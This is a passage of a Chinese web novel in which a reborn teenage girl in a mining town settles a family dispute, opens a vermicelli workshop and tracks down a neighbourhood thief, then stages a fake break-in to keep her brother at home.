表嫂脑中有一丝念头一闪而过,又很快被杂乱的思潮冲了过去。 ……她为什么要恨自己? ……她真的不恨自己吗? 见表嫂被问的哑口无言,贺明珠转头去问表哥。 “你是怎么想的?你还债,表姐搬出去住;你不还债,表姐继续住家里,谁也不许再提撵人。” 她连“表哥”都懒得叫,这人就不配当哥。 表哥没钱,有钱也不想还。 谁家闺女给家里花点钱还斤斤计较的?没听说过回娘家的路是用钱铺出来的吗?! 可眼看自家战斗力最强的媳妇被小表妹两句话就KO,要是自己上的话—— 文,说不过小表妹;武,打不过二表弟,兼之还有自家爹妈爷奶在一旁虎视眈眈…… 表哥臊眉耷眼地说:“一家人说什么两家话,什么债不债还不还的,说起来多生分。巧燕想在家住就随她住,住多久都随她,反正我说了又不算。” 贺明珠没管他话里隐隐的抱怨,直接把这件事敲定下来。 “表姐,你带着个孩子住独门独院的不安全,万一出事儿了,你喊救命都来不及。现在既然表哥表嫂没意见,那你就安安心心在家住着,谁也不能把你赶出自己家。” 贺明珠扬声又问许大舅。 “姥姥姥爷,大舅大舅妈,我说的没错吧?” 贺明珠的话说在了许大舅夫妇的心坎里,字字都是他们忍了很久没说出口的对儿子儿媳的质问。 一家子骨肉至亲,怎么能心安理得地吃自家亲妹的血肉? 因此当听到贺明珠的问题,许大舅毫不犹豫地答道:“对!你说的对!” “我闺女,想在家里住多久,就随她住多久!” 许巧燕听到这话直掉眼泪,这段时间所受的所有委屈都在泪水中倾泻出来。 表哥忍不住嘟嘟囔囔:“家里又没钱,光是种地哪养得起这么多人……” 贺明军威胁似的勒住他脖子,表哥立刻噤声,但眉梢眼角流露出苦涩的抱怨。 表嫂只是垂着头不说话,大概是想起了从小到大在娘家因重男轻女而受到的委屈。 为什么同样是女人,姑姑家的表妹可以活得这样肆意潇洒,离婚的小姑子也可以被婆家关爱呵护,而她却不得不咽下娘家强塞来的苦果? 贺明珠的话与她的惯性思维相冲撞,让她整个人都陷入委屈和迷茫中。 贺明珠注意到表哥和表嫂的神色,心下暗叹,其实也不能完全怪他们俩。 当资源有限时,争抢的姿态很难好看到哪里去,这是人的本能。 但,如果可获取的资源不止是眼前的一亩三分地呢? 贺明珠坐到表嫂身边,拿手帕轻轻擦了擦她脸上的污痕,又用手指将她蓬乱的头发梳理整齐,与此同时,她示意二哥放开表哥,让他坐在了炕上。 在这对小夫妻惊疑不 定的眼神中,贺明珠温和地开口道:“表哥表嫂,对不住,我看到巧燕表姐过得不好时,情绪过于激动,说话太直接,伤害到你们了。” 表哥以为她这是后悔了在道歉,立刻就想抖起来:“你没成家你不懂,我……” 贺明珠却不给他开口的机会。 “但刚刚说的那些话,确实都是我的心里话。” 表哥傻眼了。 这个城里来的表妹咋和村里的大姑娘小媳妇都不一样?她咋一点都不怕羞,对着男人都敢这么厉害的?! 贺明珠直视着他,直到对方率先挪开视线。 “大家都想吃好的穿好的,这是人之常情,可家里穷,要是一个人多吃一口,别人就要少吃一口;一个人多用一块布,别人就要少用一块布。特别是在有了孩子后,自己受委屈还可以忍一忍,但要是让孩子受委屈,那是无论如何都忍不了的。” 听到这话,抱着婴儿的表嫂忍不住抬头去看贺明珠。 大舅妈絮絮叨叨地说:“是这个道理,是这个道理,当娘的怎么舍得让孩子受委屈……” 许巧燕没说话,只是将乖巧的女儿深深地搂进自己怀里。 屋子里的气氛重又松弛起来,其他人原本紧绷的表情也在贺明珠的话语中逐渐融化。 “地里刨食太难了,出大力受大苦,一年到头累得腰都直不起来,也就勉强混个糊口。表哥是家里的壮劳力,骡子牛马还有休息的时候,人哪怕生病了还得下地。” 表哥下意识捏了捏手上干农活磨出的厚茧,头一次觉得这个表妹说话还挺顺耳的,句句都说到他心坎里了。 “我知道,虽然巧燕表姐很能干,但如果让她留下的话,难免会增加家里的负担,我想,这也就是表哥表嫂之前表现的原因吧——不是不想做好人,实在是生活的担子太沉重了。” 贺明珠寥寥数语,就给表哥表嫂排挤撵人的自私行为盖上一块生活所迫的遮羞布。 这对夫妻原本又羞又怒,在众人面前抬不起头来,心里不是不怨恨戳穿事实的外姓表妹,不是不怨恨赖在娘家不走的许巧燕,还有包庇出嫁女的大舅大舅妈。 然而,被贺明珠这么一说,他们俩一下子心里就舒坦了,巨大的怨恨如同阳光下的冰块,倏而就融化得只剩薄薄一小撮。 不高兴还是有的,就是觉得刚刚在大家面前丢面子,脸上有些挂不住,但心中已经没有那么强烈的怨恨了。 贺明军看着贺明珠轻轻巧巧几句话就给表哥夫妻俩砌了个下来的台阶,忍不住凑过去和贺明国说悄悄话:“咱妹现在可真厉害啊。” 贺明国瞪了他一眼,心里却放松多了。 他之前是真担心以自家妹妹横冲直撞的说话方式,以后亲戚之间要怎么相处?别人家的家务事是那么好插手的吗? 但现在看下来,明珠还是心里有数的。 屋里所有人的神色都和缓起来,火药味渐渐散去。 原本一直没有说话的姥爷,此时用他苍老沙哑的嗓音说道:“一家子的血脉是砍不断的,再苦再累,吃糠咽菜,也得相互扶持,一家人,谁也不能少。” 他用自己从饥荒战乱年代走过来的切身体会,试图将这个在表哥表姐各自结婚后隐隐出现裂缝的家庭重新弥合起来。 许大舅显然所受触动:“是啊是啊,爹说得对,咱们是一家人啊……” 表哥没吱声,看表情,他对亲爹和亲爷爷的话挺不以为然的。 贺明珠知道,光是喊口号不能解决实际问题,现在家里最大问题就是有限资源条件下分资源的人变多了,导致每个人能分到的资源变少。 虽说人多力量大,但人多了要吃的饭也变多了。 时间长了,类似今天这样的冲突还会再次出现。 一次又一次的冲突,再牢固的血脉亲情也禁不住这样的折腾,迟早会分崩离析。 如果是上一世,她无能为力,只能眼睁睁地看着这一切发生。 但这一世,她有重来的机会,也有解决问题的勇气和能力。 贺明珠直起身来,叫了一圈人,将大家的注意力都集中过来。 “我打算在村里建一个小作坊,就近收购土豆红薯,雇人做成粉条,再运回矿务局卖。” 表哥一脸茫然,不晓得她说这个干啥。其他人也没太明白,怎么突然就说起开作坊做粉条了? 只有贺明军对着妹妹挑挑眉毛,知道她想要做什么。 贺明珠也是临时想到要办个粉条作坊的。 还是那句话,与其打得鸡飞狗跳去抢一块小饼,倒不如干脆将饼做得更大。 既然家里资源有限,那就向外看,外面是广阔天地,大有可为! “粉条是给人吃的,最要紧是干净卫生,可我没法天天在村里盯着,得找个靠谱人替我管着这摊子事儿。” 她看向许巧燕:“表姐,你愿意帮我这个忙吗?” 第53章 第53章开个粉条作坊(修)…… “愿意,我愿意!” 许巧燕是个灵醒人,听到贺明珠的话,她立刻就明白表妹在帮她。 种地只能饿不死,多了没有,要想挣钱,还得想别的法子。 她本来的打算是去村里的砖窑打砖坯、拉砖,苦归苦累归累,但一个月也能挣上十来块钱,能给女儿攒出学费书本费。 但显然,明珠的主意更好。 表哥嘀咕:“做粉条?这不是耽误家里的活吗……” 没人搭理他,就连表嫂都看向贺明珠,要不是刚刚闹得不愉快,她这会儿拉不下脸,真想问她还要不要管事儿的人。 贺明珠对许巧燕说:“既然你答应了,咱们在商言商,亲兄弟明算账,卖粉条的利润你拿一成。” 许大舅听了一惊,连忙制止:“太多了!用不了,用不了!” 许巧燕也说:“我不出钱,就光出点力气,不能拿这么多。” 表哥急忙自荐:“我来,我来,我也会做粉条!” 贺明珠没搭理他,笑着说:“先别急着拒绝,我还没说完呢,表姐每个月没有固定工资,能挣多少钱全看当月卖出多少粉条。万一生意不好,搞不好还要你做白工呢。” 一听可能没钱赚,表哥立刻就缩了 许巧燕却说:“酒香不怕巷子深,只要我把粉条做好了,一定会有人来买的。” 敲定了开粉条作坊的事,又沟通了一些具体细节。 贺明珠想起采购的事,又和许大舅提了一嘴,除了土豆萝卜这些冬储菜,开春后要是有新鲜蔬菜,她也一并买了。 许大舅一口应承下来,他肯定挑好的给贺明珠送过去。 天黑前,贺家四人告辞回城。 尽管许大舅和大舅妈极力留客,但许家只有两间屋有火炕,一间住着表哥一家子,另一间住着姥姥姥爷、大舅夫妻和许巧燕母女。 平时这张炕已经很挤了,要是再塞进四个外甥,只怕晚上睡觉翻身时都得全炕人喊着号子一起翻。 见他们坚决要走,大舅妈只好无奈放行。但临走前把家里晒的干菜、腌的咸菜、攒的鸡蛋,还有被霜打过后格外甜的瓜果,满满当当装了好几麻袋。 大舅妈的情谊太沉重,就算有贺明国和贺明军两个年轻力壮的小伙,都差点没扛起来。 贺明珠和许大舅约好年后送货到三产饭店,留下了一笔订金,由大舅发给卖土豆的村人,剩下尾款部分等货送到后现场结算。 许大舅却坚决不肯要贺明珠的钱,说:“还没卖上山药蛋呢,哪能先收你的钱?等我赶着驴车把山药蛋都运到了,你再给我钱。” 贺明珠却不同意:“大舅,我和村里人不熟,更没互相做过买卖,这第一笔生 意就显得特别重要。村人看着你的面子上拿出几百斤土豆,心里未必不在嘀咕这钱能不能给到位,万一我要是个骗土豆的骗子怎么办?” 许大舅急忙插嘴:“那哪能是骗子呢!” 贺明珠说:“大舅,这第一批土豆就相当于是拿你的面子赊的,变成了你替我去欠人情。说实话,我要是没本金做生意,就算知道这样不合适,也得厚着脸皮干。可既然我现在手头赚了点钱,就不能干这种消耗你名声的事。” 许大舅没反驳,但心里还是觉得外甥女想得太多,他一张老脸值什么钱。 再说了,村里人要是听到有人要买自家库房堆着卖不出去的土豆,那还不得乐开花了,哪有心思计较什么订金尾款,一手交货一手交钱不就行了,粮站不都是这么干的吗? 贺明珠硬是把几张大团结塞进许大舅兜里。 “我是要做长久生意的,不差这一天两天提前付钱的时间,只要能稳定地买到好土豆,在采购上压点款是值得的。” “村里人只有实实在在地拿到了钱,才能信我是认真做生意,才会真的把这当一回事儿,而不是看在大舅的面子上敷衍。” 许大舅拗不过贺明珠,最后只好答应按她说的做,无奈地收下了钱。 接着,她又给许巧燕留了一笔钱,数量不多,刚够试做第一批粉条。 要是市场反响好,就再追加下一笔投资。 长途车到矿务局时天都快黑了,贺家几个人回家后,赶紧将大舅妈给的几麻袋土特产分门别类地放了起来。 贺明珠挑了个磕破皮的老南瓜,削皮洗净后剁碎熬粥,加上大舅妈给的腌菜,一家人清清淡淡吃了顿晚饭。 南瓜被霜打过,外形干巴褶皱,看上去毫无食欲;等削去皮后,内里果肉香甜如蜜,空口吃的话,甚至会甜到齁嗓子。 贺明珠熬了一大锅南瓜粥,南瓜的清甜香气均匀裹在每一颗米粒上,入口温润滑过食道,立竿见影地安抚了不适的肠胃。 中午在姥姥家吃的那顿饭肥肉太多,加上同桌的人倒胃口,土墙又不挡风,油脂落进冰冷胃袋,腻得让人犯恶心。 加上回程中巴车上人多,路况也差,坐车像在蹦迪,上下左右来回晃,没吐出来已经算意志坚强。 晚上喝到一碗温和清淡的南瓜粥,热乎乎的,整个人都松弛下来。 贺明军最放松,放下喝得干干净净的碗,他忍不住长长叹出一口气。 贺小弟在姥姥家玩累了,上了车就呼呼睡着。中巴颠得像海盗船,他小子睡得气息绵长,还幸福地打了一串小呼噜。 贺明国就惨了,他一路上要看着行李防小偷,要看着贺明珠防流氓,还要防着老二在车上和人挤出火气,心力交瘁。 等到了站贺小弟还没醒,贺明军已经扛着麻袋带着小妹走远了,贺明国不得不一手扛蔬果。一手扛小弟,两肩担着“人与自然”,艰难跋涉回家。 这会儿可算能完全放松下来,他长而缓地松一口气,懒懒靠在椅背上。 今天发生的事实在太多了,老二脑子转得快,当时就想明白了;老四还小,还没到操心的年纪。 贺明国作为家里最大的,肩负的责任最重,他还要再想一想。 从年前到现在,短短一个月的时间,发生了太多的事。小妹现在精明强干得让人有点陌生,几乎快要忘记她其实只是一个十六岁的中学生。 她一个小姑娘,其实本不该背负这么大的压力。 贺明国心疼妹妹,还是两个哥哥本事不够,才让本该娇养的妹妹为家里操心。 心里有事儿就睡不着,他在铺盖里辗转反侧。 同在一张炕上的贺明军被隔壁动静吵得睡不着,气得爬起来骂道:“你烙饼呢啊?!” 贺明国没生气,见他醒着,抓着人忧心忡忡地说:“你有没有觉得这段时间小妹有点太能干了?都说穷人孩子早当家,是不是我们对她关心不够,才让她过分早熟啊?” 贺明军嗤了一声:“想多了吧你,瞎操心什么呢,分明是小妹天资聪颖,一点就通。妈不是早就说了吗,咱们家里就属小妹聪明。再说了,能干不是好事儿吗?她要是呆呆笨笨的,我才要郁闷呢。” 贺明国一听这也是,哪有嫌自家孩子能力太强的,心里顿时就放下一块巨石。 没了心事,他翻个身就睡熟了。 另一边,被吵醒的贺明军反而睡不着了。 他瞪着窗外的月亮,心里琢磨着,既然小妹已经是个不用人操心的能干姑娘了,那他是不是可以回广东赚大钱? 想得正出神时,突然外面传来一嗓子尾音劈了叉的尖叫: “来人啊,家属区进贼了!!!” 第54章 第54章家属区进贼了(修) 对大多数人家来说,过年这几天是手头最宽裕、存货最丰富的时候。 辛苦了一年,就要趁着过年这几天吃香喝辣,好好安抚一番饿了一年的肚皮。 猪肉羊肉肥鸡带鱼,年货堆得仓房满满当当,厨房烟囱飘出的烟里都染着肉味儿。 出门拜年互相看看,人人嘴上都沾着油光——家穷得实在没肉吃的人家,也会找块油腻腻的猪皮往嘴上擦一擦,假装过了个富裕年。 煤矿工人挣得多,手头松,比普通工人舍得花钱。在煤矿家属区绕两圈,空气中到处飘散着炖肉炸丸子的香气。 可这香气不仅引来了四肢着地的黑毛老鼠,还引来了两足站立的人形耗子。 “哪个天杀的偷了我家的肉啊!!!还有没有天理了,把我家的年货全偷走了!这让我家还怎么过年啊!!!” 贺家附近的某户邻居,女主人对着自家空荡荡的仓房,气得叉腰直骂娘。 “穷得讨饭吃了来我家偷东西,吃不死你个王八羔子!” 周围邻居裹着大棉袄,在冬夜寒风中一边冻得瑟瑟发抖,一边凑在一起八卦。 “这是谁干的?按说咱家属区没外人,是不是报纸上说的什么盲流干的?” “人家盲流都是往大城市走的,谁来咱这穷矿山啊。” “是不是那帮知青?以前还说是什么知识青年,我看就是一群小流氓!你还记不记得,上次那谁家的二小子,割了电线拿去卖破烂,结果被电没一条胳膊的?” “哦对对对,你一说这我就知道了,还有人来我家偷鸡的,差点连我家狗也给偷走。” “我听人说,这些知青在农村天天打着割资本主义尾巴的旗号,隔三差五就去农民家里抢人家养的鸡呢……” “不像话,不像话!” 人群围着讨论了一阵,最终抵不过零下二十度的寒冷,哆哆嗦嗦着各回各家了。 失主家在门口叫骂了一会儿,骂得口干舌燥,但小偷又不会因为被骂几句就老老实实将年货还回来,最后只好无奈鸣金收兵,等天亮了再去公安局报案。 贺家住得近,一家子全被失主家那一嗓子嚎起来。 贺小弟年纪小,被吵醒了,就哼哼唧唧地翻个身继续睡。 几个大的就没他这么好的睡眠质量了。 贺明国和贺明军两兄弟披上衣裳,一人一支手电,打着光先仔细检查了一遍自家情况,看看那贼是不是也光顾了他们家。 贺明珠则被俩哥哥嘱咐留在温暖的室内。 她没逞强,外面滴水成冰,以自己的小身板,半夜出去晃一圈,明天就得去医院治肺炎。 贺明珠等着的时候,顺手把炉子的灰清了,添了点炭,又坐上一壶水,以便俩哥哥回来时能喝点热水驱寒。 贼猫躲在柜子下,狗狗祟祟地盯着人看。 它自以为隐藏的好,殊不知,昏暗灯泡下,两只猫眼反光如同远光灯。 资深老司机贺明珠余光扫过去,下意识就要吐槽一句“妈的远光狗”。 她随手把做肉时剔下的边角料丢到柜子下,贼猫先是不动,滴溜溜转着两只远光灯,见贺明珠没有要动作的痕迹,才猛地一口叼起肉,噌地缩进柜子深处,嗷呜嗷呜地狼吞虎咽。 贺明珠有一搭没一搭地扔着肉,脑子里努力回忆上辈子邻居家遭贼的事。 她不是个爱八卦的人,隐约记得抓贼这事儿最后好像是不了了之,之后没什么人提了。 遭贼那户人家从此过年再不敢把年货放院子里冻着,宁愿屋里热得肉变质,也不能过年啃窝窝头。 她还记得,之所以年货盗窃案的关注度迅速消失,是因为发生了一件比入室盗窃更严重的全国性的刑事大案,案情严重到在三四十 年后仍不断有人提及。 第二年又发生类似的年货盗窃案,这回一个年轻警察用了个笨办法,硬生生逮住了这个惯犯。 想到这,贺明珠心中一动,忽然想到了能让二哥自愿留下来的办法。 别看他之前答应帮忙管三产饭店,但心里并不情愿,眼睛只能看见南方走私的暴利。 贺明珠敢保证,只要饭店生意步上正轨,二哥立刻就要撂挑子走人。 他甚至连火车票都不用买,蹭着矿务局的运煤车,一路南下就到了地方,然后用有限生命投入无限的走私大业中,直到最后北方旱鸭子变注水死鸭子。 她重生这一遭,可不是要做个过去的围观者。 这时,贺明国和贺明军掀门帘进屋,两兄弟都冻得够呛,脸色青白,话也说不出,哆哆嗦嗦围在火炉旁取暖。 贺明珠给他们俩各倒了一碗热水,往里面放了两颗冰糖。热乎乎的糖水,立竿见影就能补充身体所急需的热量和糖分。 贺明军迫不及待捧起碗就喝,被烫的直嘶气,但糖水下肚,明显脸色好看多了,透出薄薄的一点红润。 贺明国比他稳重,吹凉了才喝,一口接着一口,很快一碗糖水就喝得一干二净。 “抓到贼了吗?”贺明珠问他。 贺明国摇摇头:“早跑没影了。” 贺明珠说:“谁干的啊,这也太坏了吧,大过年的把人家里的年货都偷走了,让人正月吃什么?” 贺明军喝完了糖水,放下碗说:“听他们说八成是回城的知青干的,没钱没工作,肚子饿了嘴馋了,就剩下偷这一条路。” 贺明珠要再倒点热水,被两人异口同声地拒绝了。 大冬天的,从热乎乎的火炕被窝里钻出来解决生理需要,真的是一件很考验毅力的挑战。 糖水虽好,但不要贪多哦—— 贪多就要一晚上起夜五次啊摔!好不容易被窝里攒点热乎气,一进一出全散完了。 贺明珠从善如流放下水壶,转而说道:“最近治安真是越来越差,我经常在报纸上看到绑架杀人的报道。幸好这次只是来偷东西,要是什么抢劫强|奸的话,赶上家里只有我和小弟在,就太危险了。” 这句话提醒了贺明国和贺明军。 贺明国说:“年后我找人要点水泥和砖头,把咱家围墙的高度再往上弄一弄。” 过完了年,他又要开始在井下值班,家里就剩仨小的,真出事儿了他赶不及回来,只好先把自家的防御性点满。 贺明军则说:“我明天就去朋友家抱只狗回来养着。” 要是他真去了广东,老大值班时家里可就剩下妹妹和小弟。偏偏妹妹还是个出众的漂亮姑娘,真要被人惦记上,他想一想都觉得胆战心惊。 就算老大在家也不成,从小到大他就不是个块打架的料,小时候不知挨了自己多少黑拳。 贺明军思前想后,还是赶紧给家里养条顶用的大狗,真要出事了,至少这狗能喊能咬人,最差也是个行走的警报器,能把邻居们都吵起来…… 贺明珠笑眯眯听着,时不时出个在墙头上插碎玻璃之类的馊主意。 贺明国听了纠结,贺明军听了叫好,还举一反三,要在墙根下挖坑打尖桩。 坑挖成半人高,木头削尖,尖头朝上,密密麻麻埋在坑里,上盖薄板,撒土掩盖。 要是真有不怀好意的家伙敢跳墙进院,等待他的将会是烤肉串的凄惨下场。 贺明国犹豫了下,说:“要不我在咱家墙上拉个电网?” 贺明珠大惊,倒不是 “大哥,我们只是不想让坏人偷咱家的钱,但不代表要把这钱白送给供电所啊!” 转头就和贺明军完善起墙头插玻璃、墙根竖尖木的反人类立体防御系统。 贺明军百忙之中,得意洋洋朝老大补了一刀:“就咱这儿隔三差五停电的情况,没电的电网还不如一条狗有用。” 贺明国被气得一个倒仰:明明大家出的都是馊主意,怎么还要分个高下? “不就是拉电网,但不能花电费不能停电吗?” 贺明国信誓旦旦地说:“你等着,我这就去想办法!” 天亮后,贺家两兄弟分头行动。 贺明国去找熟悉的电工研究电网的问题,贺明军找朋友们打听哪家有好狗。 贺明珠也出了门,在小巷里和小伙伴打闹的贺小弟问她:“姐,你去哪儿啊?” 贺明珠笑眯眯地说:“我去捉贼。” 第55章 第55章抓贼记 年前下了一场大雪,天气冷,路边的雪没怎么消融,白天晒夜里冻,形成一层硬邦邦的外壳,人走上去,要用点力才能踩破。 马路巷道上,人踩车碾的,路中央的雪和泥和在一起,冷湿脏污,一踩一个泥脚印。 被偷的那家院门开着,邻居们在外面探头探脑,戴着白色大檐帽的公安警察被失主拉着报案。 贺明珠路过看了一眼,在苦主一声接一声的“您可要为我们家做主,这肉都给偷完了还怎么过年啊!”公安同志脸上露出无奈的苦笑。 被偷的那家抱怨归抱怨,但心里是知道东西多半回不来了。 这会儿没监控,指纹采样及对比技术不完善,加上现场痕迹被不懂刑侦常识的当事人破坏殆尽,要想抓住小偷,除非能在他下次犯案时抓个现行,不然就别指望了。 再加上年货价值有限,指望公安派出大量警力拉网式搜查也不现实。 贺明珠却另有办法。 她沿着家属区曲曲绕绕的小巷,一路走到一处半塌了的小院前,抽了抽鼻子,看看烟囱上袅袅升起的炊烟,抬手敲响烂了一半的木头院门。 “谁啊?” 一道惫懒的男声响起,接着便是踢踢踏踏的脚步声,院门打开,一张头发蓬乱、胡子拉碴的脑袋伸了出来。 “你找谁?找错地方了吧?” 贺明珠一手抵着门,上下打量了一下他,说:“没错,我就是来找你的。” “偷来的肉好吃吗?” 一听这话,胡子男顿时脸色大变,立刻要将院门关上,被贺明珠用力抵住了。 见关不上门,他一急,转头就跑,三步两步蹬上墙,双手一撑,越过墙头就没影了。 贺明珠没忍住笑,施施然进了小院。 跑,有本事就跑,跑得了和尚,难道还跑得了庙吗? 果然,没一会儿,胡子男蔫头蔫脑地回来了。 他逃得急,忘了穿棉袄,在外面冻得皮肤青白,牙关不住打寒战,脸都冻麻了。 实在是熬不住,再待下去要冻出人命,索性自暴自弃地回了家,大不了去蹲号子,至少还管饭。 没想到推开房门一看,屋里没埋伏的公安,只有一个小姑娘正坐在炉子旁烤火,手里拿着炉钩子,有一搭没一搭地拨弄着炭火。 “知道我是贼,你还敢留在这儿?就不怕我杀了你灭口?” 胡子男一屁股坐到炕上,一边往身上裹被子,一边颤抖着声音吓唬这个莫名其妙出现的小姑娘。 小姑娘掀掀眼皮,丝毫不拿他的威胁当回事儿,慢悠悠地说:“你要是真有杀人灭口的决心,就不至于都到人家里偷东西了,还只敢偷肉不敢偷钱,怎么,这家人的钱烧手吗?” 胡子男张口结舌,不知道该说什么是好。 她还批评胡子男。 “你能不能有点出息,都堕落到入室盗窃了,好歹选个有钱地界吧,就咱这工人家属区,所有人的钱加一块都不够买台小汽车,你偷个什么劲儿。再说了, 兔子还知道不吃窝边草,你怎么就逮着街坊祸祸啊。” 胡子男语无伦次:“我,我……” 好不容易捋直了舌头,他色厉内荏道:“瞎说什么,你赶紧给我走!不然我要揍你了,真揍啊!” 他还作势挥舞了两下拳头,希望赶紧把这个莫名其妙出现的家伙吓走。 没想到小姑娘不仅不吃他那一套,反过来还威胁他。 “吓唬谁呢,当谁是吓大的啊?我告诉你,我手里可是捏着你的把柄,你要是不听我的,我可就要对你不客气了——” 胡子男懵圈了。 倒反天罡了,他一个大男人被小姑娘威胁了? 小姑娘还不耐烦地催他:“行不行给句话,拖拖拉拉像什么样子。大家时间都很宝贵,就不要浪费了好吧?” 胡子男甚至有种面对教导主任的错位感,他甩了甩脑袋,努力将思路拉回正规。 “我凭什么要答应你?” 小姑娘嗤笑一声:“就凭我手上有你偷东西的证据。” 胡子男转念一想,不对,他偷来的那些东西一早就拿去送人了,现在家里绝对没有任何与盗窃相关的赃物。 她在诈他! 想到这里,胡子男学着贺明珠的模样,同样也嗤笑一声。 “你说有你就有?我还说我不是贼呢!有本事你就报警,看看公安到底相信谁!” 小姑娘果然被他这句话震住了,胡子男在炕上暖得差不多,跳下来披上棉袄,走到小姑娘旁边,试图把她拎出家门。 “走走走,小屁孩子毛都没长齐,还想威胁我?” 小姑娘没反抗,却在要被拎出去的时候,忽然抬手一指院子角落的一台破木板爬犁。 “这算不算证据?” 胡子男气息一窒,不待他缓过气来,小姑娘又指了指他刚刚翻墙时留下的的泥脚印。 “这又算不算?” 胡子男缓缓将视线从雪橇到脚印再转到小姑娘,脑子里嗡的一声,她怎么知道的? 他踩点时见那家丧良心的坏种准备了不少年货,单凭他自己是拿不走的。但想到而现在地上积雪厚,索性拆了家里的烂柜子,做了个可以在雪上拖着走的简易爬犁。 夜里,胡子男踩着砖块爬上了墙,偷出年货放在爬犁上,趁夜拉着爬犁回了家。 偷的过程太顺利,他当时激动又紧张,被狂喜冲昏了头脑,忘了他鞋底的雪泥会在墙上留下鞋印,更忘了爬犁会在雪地上留下痕迹。 想到这,胡子男心脏一阵紧缩。 一个小姑娘都能沿着爬犁的痕迹找到他,那公安岂不是很快就会来抓他? “别担心,现在只有我能找到你,我来之前已经把爬犁痕迹都清除干净了。” 小姑娘像是猜出了他在想什么,狡黠地又说:“可是谁说只能凭借爬犁印找到人呢?” 胡子男忽然觉得,与其被这个小姑娘抓住把柄,还不如干脆被公安逮捕了呢。 小姑娘从他手里挣脱出来,站在地上整了整衣服,好整以暇地说:“这下我们可以谈谈了吧。” 胡子男忍不住咽了下口水。 谈什么? 谈她怎么把自己论斤称两地卖了吗? 小姑娘笑眯眯地说:“别怕,我只是需要你帮我一个小忙。” 当天夜里,刚遭了贼的煤矿家属区,又有人撕心裂肺地尖叫了一嗓子: “救命,有坏人!!!” 是贺明珠的声音! 贺明国和贺明军肝胆俱裂,连滚带爬从炕上翻下来,穿着秋衣光着脚就往外跑。 出了屋门,一眼就看到自家亲妹,另一边,一个黑影连滚带爬翻过墙头跑了。 贺明国三步并两步冲上去,一把拽住贺明珠的胳膊,连声急问:“你怎么样?受伤了没?!” 贺明军抓住立在墙边的劈柴长斧,倒提着斧头,拉开院门就追了上去。 贺明国也要追,被贺明珠反拽住了手,拉着他死活不让走。 “大哥,我害怕,你别走……” 贺明国冷静下来,想想还真不敢让她和小弟单独留在家,怕中了坏人的调虎离山之计。 于是他留下,进厨房拿了把菜刀,绕着小院检查了一圈,以防有坏人趁夜躲在哪个犄角旮旯。 院子小,他很快查探完毕,而贺明军也气喘吁吁拎着斧头回来了。 “妈的那个贼跑得太快,我出去后连个影都没看到。要是被我逮到,我非得把他劈成两半!” 贺明军泄愤似的挥舞了一下斧头。 贺明国低声说:“他不是来偷东西的。” 他在围墙最矮处发现有人攀墙时踩掉的半块砖;又在墙角堆雪处发现一行残缺脚印,目标明确,是要直奔大屋。 两人对视一眼,心下都明白了,这是冲着小妹来的。 这段时间家里吃得好,营养充足,不但贺小弟像个气球似的鼓了起来,原本细条条的小妹也长开了,皮肤白皙,五官秀丽,笑起来像小鹿纯子,长得别提多招人眼了。 上次坐中巴车时,贺明军之所以和人挤出火气,就是因为有几个小年轻看贺明珠长得漂亮,故意挤到她跟前挨挨蹭蹭,被贺明军拦下后,双方对峙,火药味十足。 要不是贺明国也在车上,两兄弟看着人高马大不好惹,说不准真有胆大包天的家伙敢把贺明珠强掳下车。 毕竟现在车匪路霸多,连警车都敢抢,更别提普通老百姓。司机乘客自保还来不及,哪有余力给陌生人出头。 这年头治安实在太差,悍匪又实在太多,公安像洒在大饼上的芝麻一样稀少,根本无法保护到方方面面,遇事得先靠自己。 贺明军回屋问贺明珠刚刚都发生了什么。 贺明珠细声细气地说:“我听到院子里有声音,怕又是来偷肉的猫,就出去看了一眼,结果发现墙上趴了个人。他看到我,立刻从墙上跳下来,直直朝我冲了过来……” 贺明军眉毛皱起,抓着斧头的手死紧。 要是那个贼现在出现在他面前,他一刀就劈过去! “你看到他长什么样了没?” 贺明珠垂下脸,抱着膝盖,蜷缩着身体,看起来余悸未消。 “天太黑,我没看清。” 贺明国把军大衣披在她身上,想了想,又把她抱起,囫囵个塞进了被炕烘得热乎乎的被子里。 贺明珠瞪大了眼睛,差点破功。 不是,她都这把年纪了,大哥怎么还用抱小孩的抱法来抱她啊! 贺明国没察觉到妹妹的震惊,掖了掖被角,还顺手在被子上拍了两下。 “行了,安心睡吧,今儿晚上我和你二哥在大屋陪着你。” 贺明国拿着斧头,贺明军拎着菜刀,一左一右坐在门边,门神似的,大有一夫当关万夫莫开之势。 贺小弟睡得香,像个吃睡睡吃的小猪崽子,完全没被吵醒,睡热了踢开被子,四仰八叉露出圆鼓鼓的小肚子。 属于贺明珠的那坨被子卷很安静,一动都不带动的。 夜深了,灶坑闪烁的火光中,贺明军突然低声对贺明国说:“我不回广东了。” 他这一年走南闯北,跟着三教九流混,清楚这年头社会治安不行,明着抢暗着偷,荒山野岭不知埋了多少尸体。 但没想到,被视为最后一片净土的国企家属区,现在居然治安也开始糜烂,小偷强盗都从群众中来到群众中去了,合着这年头兔子专吃窝边草。 贺明军是有冒险精神的,但也是恋家的。 万一哪天他从广东发大财回来了,结果发现自家老窝被人端了,这还了得?! 家不是一间房,而是与之共同生活的家人。 他要保护他的家人。 贺明国没问老二为什么改变主意决定留下来,只是说:“留下挺好的,我帮你找找工作。要是找不到工作也无所谓,我工资高,养你们仨绰绰有余。” 贺明军嗤笑道:“你那媳妇能乐意吗?” 不待贺明国反驳(“谁说我媳妇不乐意,我媳妇可乐意呢!”),他接着说:“我给小妹打工去,她开饭店正好缺人。” 话音未落,归属于贺明珠的被子卷猛地一蛄蛹,探出颗毛茸茸的脑袋。 “二哥,你说真的吗?!” 贺明军脑袋都不带转的,余光瞥她一眼。 “不装睡了?呵, 我就猜到你在那儿偷听呢。” 贺明珠不理他,激动地说:“你要留下来是吧?太好了,我饭店那儿还有好多活儿等着人干呢!” 贺明军脑门上青筋一跳—— 不对劲,怎么好像给自己挖了个坑? 第56章 第56章贼猫小记 正月还没过完,随着大多数人开始返岗复工,年味儿渐渐消散。 短短几天发生了太多事,当贺明珠再次回到煤矿人家饭店时,简直恍如隔世。 她拿出钥匙打开门,和贺明军前后脚进了屋。 矿上灰大,才几天没人来打扫,饭店里就积起了一层灰尘,地上一踩一个脚印。 贺明军“啧”了一声,他爱干净,临过年前拿着扫把抹布把饭店打扫得干干净净才关门谢客,没想到这才几天,又脏得要重新打扫。 他二话不说,放下东西就去了后厨,打了一桶冷水,又烧了锅热水,热火朝天地就开始大扫除。 贺明珠也没闲着,先是开窗通风,接着便是绕着满屋子检查,仔仔细细将曾经老鼠出没的地方都查探了一个遍。 